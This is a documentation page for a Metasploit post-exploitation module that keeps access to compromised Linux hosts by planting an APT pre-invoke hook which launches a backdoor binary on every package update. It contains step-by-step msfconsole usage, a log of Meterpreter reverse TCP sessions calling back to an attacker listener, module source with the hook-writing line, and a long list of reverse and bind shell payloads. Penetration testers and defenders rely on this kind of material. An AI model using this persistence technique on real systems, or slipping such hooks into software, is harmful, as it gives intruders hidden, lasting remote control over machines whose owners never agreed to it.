APT Package Manager Persistence - Metasploit


This page contains detailed information about how to use the exploit/linux/local/apt_package_manager_persistence metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: APT Package Manager Persistence
Module: exploit/linux/local/apt_package_manager_persistence
Source code: modules/exploits/linux/local/apt_package_manager_persistence.rb
Disclosure date: 1999-03-09
Last modification time: 2020-01-14 20:47:27 +0000
Supported architecture(s): cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will run a payload when the package manager is used. No handler is ran automatically so you must configure an appropriate exploit/multi/handler to connect. This module creates a pre-invoke hook for APT in apt.conf.d. The hook name syntax is numeric followed by text.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/apt_package_manager_persistence
msf exploit(apt_package_manager_persistence) > show targets
    ... a list of targets ...
msf exploit(apt_package_manager_persistence) > set TARGET target-id
msf exploit(apt_package_manager_persistence) > show options
    ... show and set options ...
msf exploit(apt_package_manager_persistence) > set SESSION session-id
msf exploit(apt_package_manager_persistence) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Description


This module will run a payload when the package manager is used. No handler is ran automatically so you must configure an appropriate exploit/multi/handler to connect. This module creates a pre-invoke hook for APT in apt.conf.d. The hook name syntax is numeric followed by text.

Verification Steps


  1. Exploit a box that uses APT
  2. use linux/local/apt_package_manager_persistence
  3. set SESSION <id>
  4. set PAYLOAD cmd/unix/reverse_python configure the payload as needed
  5. exploit

When the system runs apt-get update the payload will launch. You must set handler accordingly.

Options


BACKDOOR_NAME

Name of backdoor executable

HOOKNAME

Name of pre-invoke hook to be installed in /etc/apt/apt.conf.d/. Pre-invoke hook name syntax is numeric followed by text.

WritableDir

Writable directory for backdoor default is (/usr/local/bin/)

Scenarios


Tested on Ubuntu 18.04.2 LTS

msf5 > use exploit/linux/local/apt_package_manager_persistence
msf5 exploit(linux/local/apt_package_manager_persistence) > handler -p linux/x86/meterpreter/reverse_tcp -H 172.22.222.136 -P 4444
[*] Payload handler running as background job 0.
msf5 exploit(linux/local/apt_package_manager_persistence) > 
[*] Started reverse TCP handler on 172.22.222.136:4444 
[*] Sending stage (985320 bytes) to 172.22.222.130
[*] Meterpreter session 1 opened (172.22.222.136:4444 -> 172.22.222.130:60526) at 2019-04-26 13:04:33 -0500

msf5 exploit(linux/local/apt_package_manager_persistence) > set session 1
session => 1
msf5 exploit(linux/local/apt_package_manager_persistence) > set payload linux/x86/meterpreter/reverse_tcp 
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/local/apt_package_manager_persistence) > set lhost 172.22.222.136 
lhost => 172.22.222.136
msf5 exploit(linux/local/apt_package_manager_persistence) > set lport 4444
lport => 4444
msf5 exploit(linux/local/apt_package_manager_persistence) > exploit

[*] Attempting to write hook:
[*] Wrote /etc/apt/apt.conf.d/34bmUIzfd
[*] Backdoor uploaded /usr/local/bin/dbmqKeh6U9
[*] Backdoor will run on next APT update
msf5 exploit(linux/local/apt_package_manager_persistence) > 
[*] Sending stage (985320 bytes) to 172.22.222.130
[*] Meterpreter session 2 opened (172.22.222.136:4444 -> 172.22.222.130:60528) at 2019-04-26 13:05:17 -0500

msf5 exploit(linux/local/apt_package_manager_persistence) >

Note: Second session comes in after running apt update on the remote host

Go back to menu.

Msfconsole Usage


Here is how the linux/local/apt_package_manager_persistence exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/apt_package_manager_persistence

[*] No payload configured, defaulting to linux/aarch64/meterpreter/reverse_tcp
msf6 exploit(linux/local/apt_package_manager_persistence) > show info

       Name: APT Package Manager Persistence
     Module: exploit/linux/local/apt_package_manager_persistence
   Platform: Linux, Unix
       Arch: cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1999-03-09

Provided by:
  Aaron Ringo

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  BACKDOOR_NAME                   no        Name of binary to write
  HOOKNAME                        no        Name of hook file to write
  SESSION                         yes       The session to run this module on.

Payload information:

Description:
  This module will run a payload when the package manager is used. No 
  handler is ran automatically so you must configure an appropriate 
  exploit/multi/handler to connect. This module creates a pre-invoke 
  hook for APT in apt.conf.d. The hook name syntax is numeric followed 
  by text.

Module Options


This is a complete list of options available in the linux/local/apt_package_manager_persistence exploit:

msf6 exploit(linux/local/apt_package_manager_persistence) > show options

Module options (exploit/linux/local/apt_package_manager_persistence):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   BACKDOOR_NAME                   no        Name of binary to write
   HOOKNAME                        no        Name of hook file to write
   SESSION                         yes       The session to run this module on.

Payload options (linux/aarch64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the linux/local/apt_package_manager_persistence exploit:

msf6 exploit(linux/local/apt_package_manager_persistence) > show advanced

Module advanced options (exploit/linux/local/apt_package_manager_persistence):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   true             no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                0                no        Additional delay in seconds to wait for a session
   WritableDir             /usr/local/bin/  yes       A directory where we can write files

Payload advanced options (linux/aarch64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/apt_package_manager_persistence module can exploit:

msf6 exploit(linux/local/apt_package_manager_persistence) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/apt_package_manager_persistence exploit:

msf6 exploit(linux/local/apt_package_manager_persistence) > show payloads

Compatible Payloads
===================

   #    Name                                               Disclosure Date  Rank    Check  Description
   -    ----                                               ---------------  ----    -----  -----------
   0    payload/cmd/unix/bind_awk                                           normal  No     Unix Command Shell, Bind TCP (via AWK)
   1    payload/cmd/unix/bind_busybox_telnetd                               normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2    payload/cmd/unix/bind_jjs                                           normal  No     Unix Command Shell, Bind TCP (via jjs)
   3    payload/cmd/unix/bind_lua                                           normal  No     Unix Command Shell, Bind TCP (via Lua)
   4    payload/cmd/unix/bind_netcat                                        normal  No     Unix Command Shell, Bind TCP (via netcat)
   5    payload/cmd/unix/bind_netcat_gaping                                 normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6    payload/cmd/unix/bind_netcat_gaping_ipv6                            normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7    payload/cmd/unix/bind_nodejs                                        normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8    payload/cmd/unix/bind_perl                                          normal  No     Unix Command Shell, Bind TCP (via Perl)
   9    payload/cmd/unix/bind_perl_ipv6                                     normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10   payload/cmd/unix/bind_r                                             normal  No     Unix Command Shell, Bind TCP (via R)
   11   payload/cmd/unix/bind_ruby                                          normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12   payload/cmd/unix/bind_ruby_ipv6                                     normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13   payload/cmd/unix/bind_socat_udp                                     normal  No     Unix Command Shell, Bind UDP (via socat)
   14   payload/cmd/unix/bind_stub                                          normal  No     Unix Command Shell, Bind TCP (stub)
   15   payload/cmd/unix/bind_zsh                                           normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16   payload/cmd/unix/generic                                            normal  No     Unix Command, Generic Command Execution
   17   payload/cmd/unix/reverse                                            normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   18   payload/cmd/unix/reverse_awk                                        normal  No     Unix Command Shell, Reverse TCP (via AWK)
   19   payload/cmd/unix/reverse_bash                                       normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   20   payload/cmd/unix/reverse_bash_telnet_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   21   payload/cmd/unix/reverse_bash_udp                                   normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   22   payload/cmd/unix/reverse_jjs                                        normal  No     Unix Command Shell, Reverse TCP (via jjs)
   23   payload/cmd/unix/reverse_ksh                                        normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   24   payload/cmd/unix/reverse_lua                                        normal  No     Unix Command Shell, Reverse TCP (via Lua)
   25   payload/cmd/unix/reverse_ncat_ssl                                   normal  No     Unix Command Shell, Reverse TCP (via ncat)
   26   payload/cmd/unix/reverse_netcat                                     normal  No     Unix Command Shell, Reverse TCP (via netcat)
   27   payload/cmd/unix/reverse_netcat_gaping                              normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   28   payload/cmd/unix/reverse_nodejs                                     normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   29   payload/cmd/unix/reverse_openssl                                    normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   30   payload/cmd/unix/reverse_perl                                       normal  No     Unix Command Shell, Reverse TCP (via Perl)
   31   payload/cmd/unix/reverse_perl_ssl                                   normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   32   payload/cmd/unix/reverse_php_ssl                                    normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   33   payload/cmd/unix/reverse_python                                     normal  No     Unix Command Shell, Reverse TCP (via Python)
   34   payload/cmd/unix/reverse_python_ssl                                 normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   35   payload/cmd/unix/reverse_r                                          normal  No     Unix Command Shell, Reverse TCP (via R)
   36   payload/cmd/unix/reverse_ruby                                       normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   37   payload/cmd/unix/reverse_ruby_ssl                                   normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   38   payload/cmd/unix/reverse_socat_udp                                  normal  No     Unix Command Shell, Reverse UDP (via socat)
   39   payload/cmd/unix/reverse_ssh                                        normal  No     Unix Command Shell, Reverse TCP SSH
   40   payload/cmd/unix/reverse_ssl_double_telnet                          normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   41   payload/cmd/unix/reverse_stub                                       normal  No     Unix Command Shell, Reverse TCP (stub)
   42   payload/cmd/unix/reverse_tclsh                                      normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   43   payload/cmd/unix/reverse_zsh                                        normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   44   payload/generic/custom                                              normal  No     Custom Payload
   45   payload/generic/debug_trap                                          normal  No     Generic x86 Debug Trap
   46   payload/generic/shell_bind_tcp                                      normal  No     Generic Command Shell, Bind TCP Inline
   47   payload/generic/shell_reverse_tcp                                   normal  No     Generic Command Shell, Reverse TCP Inline
   48   payload/generic/tight_loop                                          normal  No     Generic x86 Tight Loop
   49   payload/linux/aarch64/meterpreter/reverse_tcp                       normal  No     Linux Meterpreter, Reverse TCP Stager
   50   payload/linux/aarch64/meterpreter_reverse_http                      normal  No     Linux Meterpreter, Reverse HTTP Inline
   51   payload/linux/aarch64/meterpreter_reverse_https                     normal  No     Linux Meterpreter, Reverse HTTPS Inline
   52   payload/linux/aarch64/meterpreter_reverse_tcp                       normal  No     Linux Meterpreter, Reverse TCP Inline
   53   payload/linux/aarch64/shell/reverse_tcp                             normal  No     Linux dup2 Command Shell, Reverse TCP Stager
   54   payload/linux/aarch64/shell_reverse_tcp                             normal  No     Linux Command Shell, Reverse TCP Inline
   55   payload/linux/armle/exec                                            normal  No     Linux Execute Command
   56   payload/linux/armle/meterpreter/bind_tcp                            normal  No     Linux Meterpreter, Bind TCP Stager
   57   payload/linux/armle/meterpreter/reverse_tcp                         normal  No     Linux Meterpreter, Reverse TCP Stager
   58   payload/linux/armle/meterpreter_reverse_http                        normal  No     Linux Meterpreter, Reverse HTTP Inline
   59   payload/linux/armle/meterpreter_reverse_https                       normal  No     Linux Meterpreter, Reverse HTTPS Inline
   60   payload/linux/armle/meterpreter_reverse_tcp                         normal  No     Linux Meterpreter, Reverse TCP Inline
   61   payload/linux/armle/shell/bind_tcp                                  normal  No     Linux dup2 Command Shell, Bind TCP Stager
   62   payload/linux/armle/shell/reverse_tcp                               normal  No     Linux dup2 Command Shell, Reverse TCP Stager
   63   payload/linux/armle/shell_bind_tcp                                  normal  No     Linux Command Shell, Reverse TCP Inline
   64   payload/linux/armle/shell_reverse_tcp                               normal  No     Linux Command Shell, Reverse TCP Inline
   65   payload/linux/mipsbe/exec                                           normal  No     Linux Execute Command
   66   payload/linux/mipsbe/meterpreter/reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Stager
   67   payload/linux/mipsbe/meterpreter_reverse_http                       normal  No     Linux Meterpreter, Reverse HTTP Inline
   68   payload/linux/mipsbe/meterpreter_reverse_https                      normal  No     Linux Meterpreter, Reverse HTTPS Inline
   69   payload/linux/mipsbe/meterpreter_reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Inline
   70   payload/linux/mipsbe/reboot                                         normal  No     Linux Reboot
   71   payload/linux/mipsbe/shell/reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Stager
   72   payload/linux/mipsbe/shell_bind_tcp                                 normal  No     Linux Command Shell, Bind TCP Inline
   73   payload/linux/mipsbe/shell_reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Inline
   74   payload/linux/mipsle/exec                                           normal  No     Linux Execute Command
   75   payload/linux/mipsle/meterpreter/reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Stager
   76   payload/linux/mipsle/meterpreter_reverse_http                       normal  No     Linux Meterpreter, Reverse HTTP Inline
   77   payload/linux/mipsle/meterpreter_reverse_https                      normal  No     Linux Meterpreter, Reverse HTTPS Inline
   78   payload/linux/mipsle/meterpreter_reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Inline
   79   payload/linux/mipsle/reboot                                         normal  No     Linux Reboot
   80   payload/linux/mipsle/shell/reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Stager
   81   payload/linux/mipsle/shell_bind_tcp                                 normal  No     Linux Command Shell, Bind TCP Inline
   82   payload/linux/mipsle/shell_reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Inline
   83   payload/linux/ppc/meterpreter_reverse_http                          normal  No     Linux Meterpreter, Reverse HTTP Inline
   84   payload/linux/ppc/meterpreter_reverse_https                         normal  No     Linux Meterpreter, Reverse HTTPS Inline
   85   payload/linux/ppc/meterpreter_reverse_tcp                           normal  No     Linux Meterpreter, Reverse TCP Inline
   86   payload/linux/ppc/shell_bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Inline
   87   payload/linux/ppc/shell_reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Inline
   88   payload/linux/ppc64/shell_bind_tcp                                  normal  No     Linux Command Shell, Bind TCP Inline
   89   payload/linux/ppc64/shell_reverse_tcp                               normal  No     Linux Command Shell, Reverse TCP Inline
   90   payload/linux/ppc64le/meterpreter_reverse_http                      normal  No     Linux Meterpreter, Reverse HTTP Inline
   91   payload/linux/ppc64le/meterpreter_reverse_https                     normal  No     Linux Meterpreter, Reverse HTTPS Inline
   92   payload/linux/ppc64le/meterpreter_reverse_tcp                       normal  No     Linux Meterpreter, Reverse TCP Inline
   93   payload/linux/ppce500v2/meterpreter_reverse_http                    normal  No     Linux Meterpreter, Reverse HTTP Inline
   94   payload/linux/ppce500v2/meterpreter_reverse_https                   normal  No     Linux Meterpreter, Reverse HTTPS Inline
   95   payload/linux/ppce500v2/meterpreter_reverse_tcp                     normal  No     Linux Meterpreter, Reverse TCP Inline
   96   payload/linux/x64/exec                                              normal  No     Linux Execute Command
   97   payload/linux/x64/meterpreter/bind_tcp                              normal  No     Linux Mettle x64, Bind TCP Stager
   98   payload/linux/x64/meterpreter/reverse_tcp                           normal  No     Linux Mettle x64, Reverse TCP Stager
   99   payload/linux/x64/meterpreter_reverse_http                          normal  No     Linux Meterpreter, Reverse HTTP Inline
   100  payload/linux/x64/meterpreter_reverse_https                         normal  No     Linux Meterpreter, Reverse HTTPS Inline
   101  payload/linux/x64/meterpreter_reverse_tcp                           normal  No     Linux Meterpreter, Reverse TCP Inline
   102  payload/linux/x64/shell/bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Stager
   103  payload/linux/x64/shell/reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Stager
   104  payload/linux/x64/shell_bind_ipv6_tcp                               normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   105  payload/linux/x64/shell_bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Inline
   106  payload/linux/x64/shell_bind_tcp_random_port                        normal  No     Linux Command Shell, Bind TCP Random Port Inline
   107  payload/linux/x64/shell_reverse_ipv6_tcp                            normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   108  payload/linux/x64/shell_reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Inline
   109  payload/linux/x86/chmod                                             normal  No     Linux Chmod
   110  payload/linux/x86/exec                                              normal  No     Linux Execute Command
   111  payload/linux/x86/meterpreter/bind_ipv6_tcp                         normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   112  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                    normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   113  payload/linux/x86/meterpreter/bind_nonx_tcp                         normal  No     Linux Mettle x86, Bind TCP Stager
   114  payload/linux/x86/meterpreter/bind_tcp                              normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   115  payload/linux/x86/meterpreter/bind_tcp_uuid                         normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   116  payload/linux/x86/meterpreter/reverse_ipv6_tcp                      normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   117  payload/linux/x86/meterpreter/reverse_nonx_tcp                      normal  No     Linux Mettle x86, Reverse TCP Stager
   118  payload/linux/x86/meterpreter/reverse_tcp                           normal  No     Linux Mettle x86, Reverse TCP Stager
   119  payload/linux/x86/meterpreter/reverse_tcp_uuid                      normal  No     Linux Mettle x86, Reverse TCP Stager
   120  payload/linux/x86/meterpreter_reverse_http                          normal  No     Linux Meterpreter, Reverse HTTP Inline
   121  payload/linux/x86/meterpreter_reverse_https                         normal  No     Linux Meterpreter, Reverse HTTPS Inline
   122  payload/linux/x86/meterpreter_reverse_tcp                           normal  No     Linux Meterpreter, Reverse TCP Inline
   123  payload/linux/x86/metsvc_bind_tcp                                   normal  No     Linux Meterpreter Service, Bind TCP
   124  payload/linux/x86/metsvc_reverse_tcp                                normal  No     Linux Meterpreter Service, Reverse TCP Inline
   125  payload/linux/x86/read_file                                         normal  No     Linux Read File
   126  payload/linux/x86/shell/bind_ipv6_tcp                               normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   127  payload/linux/x86/shell/bind_ipv6_tcp_uuid                          normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   128  payload/linux/x86/shell/bind_nonx_tcp                               normal  No     Linux Command Shell, Bind TCP Stager
   129  payload/linux/x86/shell/bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   130  payload/linux/x86/shell/bind_tcp_uuid                               normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   131  payload/linux/x86/shell/reverse_ipv6_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   132  payload/linux/x86/shell/reverse_nonx_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager
   133  payload/linux/x86/shell/reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Stager
   134  payload/linux/x86/shell/reverse_tcp_uuid                            normal  No     Linux Command Shell, Reverse TCP Stager
   135  payload/linux/x86/shell_bind_ipv6_tcp                               normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   136  payload/linux/x86/shell_bind_tcp                                    normal  No     Linux Command Shell, Bind TCP Inline
   137  payload/linux/x86/shell_bind_tcp_random_port                        normal  No     Linux Command Shell, Bind TCP Random Port Inline
   138  payload/linux/x86/shell_reverse_tcp                                 normal  No     Linux Command Shell, Reverse TCP Inline
   139  payload/linux/x86/shell_reverse_tcp_ipv6                            normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/apt_package_manager_persistence exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/apt_package_manager_persistence) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<HOOK_PATH> not writable, or APT is not on system


Here is a relevant code snippet related to the "<HOOK_PATH> not writable, or APT is not on system" error message:

54:	  end
55:	
56:	  def exploit
57:	    hook_path = '/etc/apt/apt.conf.d/'
58:	    unless writable? hook_path
59:	      fail_with Failure::BadConfig, "#{hook_path} not writable, or APT is not on system"
60:	    end
61:	    hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
62:	
63:	    backdoor_path = datastore['WritableDir']
64:	    unless writable? backdoor_path

<BACKDOOR_PATH> is not writable


Here is a relevant code snippet related to the "<BACKDOOR_PATH> is not writable" error message:

60:	    end
61:	    hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
62:	
63:	    backdoor_path = datastore['WritableDir']
64:	    unless writable? backdoor_path
65:	      fail_with Failure::BadConfig, "#{backdoor_path} is not writable"
66:	    end
67:	    backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
68:	    backdoor_path << backdoor_name
69:	
70:	    print_status('Attempting to write hook:')

Failed to write Hook


Here is a relevant code snippet related to the "Failed to write Hook" error message:

70:	    print_status('Attempting to write hook:')
71:	    hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} 2>/dev/null &\"};"
72:	    write_file(hook_path, hook_script)
73:	
74:	    unless exist? hook_path
75:	      fail_with Failure::Unknown, 'Failed to write Hook'
76:	    end
77:	    print_status("Wrote #{hook_path}")
78:	
79:	    if payload.arch.first == 'cmd'
80:	      write_file(backdoor_path, payload.encoded)

Failed to write <BACKDOOR_PATH>


Here is a relevant code snippet related to the "Failed to write <BACKDOOR_PATH>" error message:

81:	    else
82:	      write_file(backdoor_path, generate_payload_exe)
83:	    end
84:	
85:	    unless exist? backdoor_path
86:	      fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
87:	    end
88:	    print_status("Backdoor uploaded #{backdoor_path}")
89:	    print_status('Backdoor will run on next APT update')
90:	
91:	    # permissions chosen to reflect common perms in /usr/local/bin/

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See Also


Check also the following modules related to this module:

Authors


  • Aaron Ringo

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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